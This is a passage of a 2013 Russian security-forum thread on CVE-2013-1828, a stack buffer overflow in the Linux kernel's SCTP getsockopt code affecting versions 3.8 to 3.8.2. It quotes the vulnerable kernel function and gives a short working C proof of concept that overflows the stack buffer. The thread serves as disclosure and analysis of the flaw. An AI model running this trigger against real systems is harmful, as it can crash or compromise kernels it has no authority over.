RDot

RDot (https://rdot.org/forum/index.php)
-   Повышение привилегий/Privilege escalation (https://rdot.org/forum/forumdisplay.php?f=24)
-   -   CVE-2013-1828 Linux kernel SCTP_GETSOCKOPT_ASSOC_STATS stack buf. overflow 3.8-3.8.2 (https://rdot.org/forum/showthread.php?t=2649)

SynQ 08.03.2013 10:13

CVE-2013-1828 Linux kernel SCTP_GETSOCKOPT_ASSOC_STATS stack buf. overflow 3.8-3.8.2
 
Подвержены от 3.8 до 3.8.2, поэтому практического применения не получит.

Представлено в 3.8-rc1: http://git.kernel.org/cgit/linux/ker...t/?id=196d6759
Исправлено: http://git.kernel.org/cgit/linux/ker...t/?id=726bc6b0

Код:

5645static int sctp_getsockopt_assoc_stats(struct sock *sk, int len,
5646                                      char __user *optval,
5647                                      int __user *optlen)
5648{
5649        struct sctp_assoc_stats sas;
5650        struct sctp_association *asoc = NULL;
5651
5652        /* User must provide at least the assoc id */
5653        if (len < sizeof(sctp_assoc_t))
5654                return -EINVAL;
5655
5656        if (copy_from_user(&sas, optval, len))
5657                return -EFAULT;

len не проверяется на большой размер, поэтому может скопировать по адресу структуры больше, чем её размер, перезатерев eip/rip.

х86 возможно неуязвимы из-за проверки на этапе компиляции, для х64 есть код spender-а:
Код:

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SCTP_GET_ASSOC_STATS 112
#define SOL_SCTP 132

int main(void)
{
        char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        socklen_t len = strlen(buf);
        int fd;

        fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
        getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len);
        return 0;
}


b3 08.03.2013 12:01

лол) даже в арче еще 3.7


Часовой пояс GMT +3, время: 14:56.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot